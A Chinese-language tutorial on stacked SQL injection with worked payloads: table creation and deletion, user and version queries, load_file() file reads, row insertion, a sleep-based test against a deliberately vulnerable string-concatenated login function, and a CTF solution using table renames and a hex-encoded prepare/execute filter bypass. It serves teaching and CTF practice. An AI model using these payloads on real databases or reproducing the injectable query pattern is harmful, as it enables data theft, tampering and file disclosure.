目录

堆叠注入

一、语法介绍

二、漏洞示例

三、常见形式

网络安全O


堆叠注入

一、语法介绍:

版本:

可以影响几乎所有的关系型数据库


原理:

将多条语句堆叠在一起进行查询,且可以执行多条SQL语句

语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload


优势:

联合查询union也可拼接语句(有局限性)

但是堆叠注入能注入任意语句


局限:

利用mysqli_multi_query()函数就支持多条sql语句同时执行

但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

mysqli_query()函数:

mysqli_query($connection, $query);

//$connection:表示与MySQL服务器的连接,可以通过mysqli_connect()函数进行创建。
//$query:表示要执行的SQL查询语句。


使用:

有注入点:即存在sql注入漏洞

未过滤:即未对";"号进行过滤

未禁用:即未禁止执行多条sql语句

第一步:使用堆叠查询构造多条语句

select * from users where id=1;create table test like users; 


第二步:查看语句是否成功执行

show tables;


第三步:删除test,再查询

select * from users where id=1;drop table test;

show tables;

(被成功执行了)

 


 第四步:执行其它查询语句

查数据库当前用户,版本

select * from user where id=1;select 1,user(),database();

其他操作:

加载文件

select * from user where id=1;select load_file('文件路径');

修改数据

select * from user where id=1;insert into user(username,password) values ('好好学习','123456');



二、漏洞示例

代码示例:

def login(username, password):
    query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
    # 执行查询并验证用户登录信息
    ...

login函数接收一个用户名和密码作为参数,并构建了一个SQL查询语句。然而,它没有对输入进行任何验证或转义,直接将用户提供的输入拼接到查询字符串中

如恶意代码:

';select sleep(10);--+

查询语句将变成:

SELECT * FROM users WHERE username='';select sleep(10);--+' AND password='...'

如果存在注入的代码被执行,那么会执行sleep(10)函数,延时10s


 三、常见形式

举例之:“强网杯2019随便注”

已知:words表能回显内容,`1919810931114514` 表不能回显具体内容,select被过滤了

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

1、堆叠注入

';    开始堆叠

RENAME TABLE wordsTOwords1;   将名为words的表重命名为words1

RENAME TABLE 1919810931114514TOwords;  将名为1919810931114514的表重命名为words

ALTER TABLE wordsCHANGEflag id VARCHAR(100);   更改words表中名为flag的列的名称为id,并将其数据类型更改为VARCHAR(100)(最大长度为100个字符)

SHOW COLUMNS FROM words;   显示words表的所有列以及其属性和信息

#    注释掉代码的剩余部分

2、堆叠注入+select编码绕过

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#



网络安全O

README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐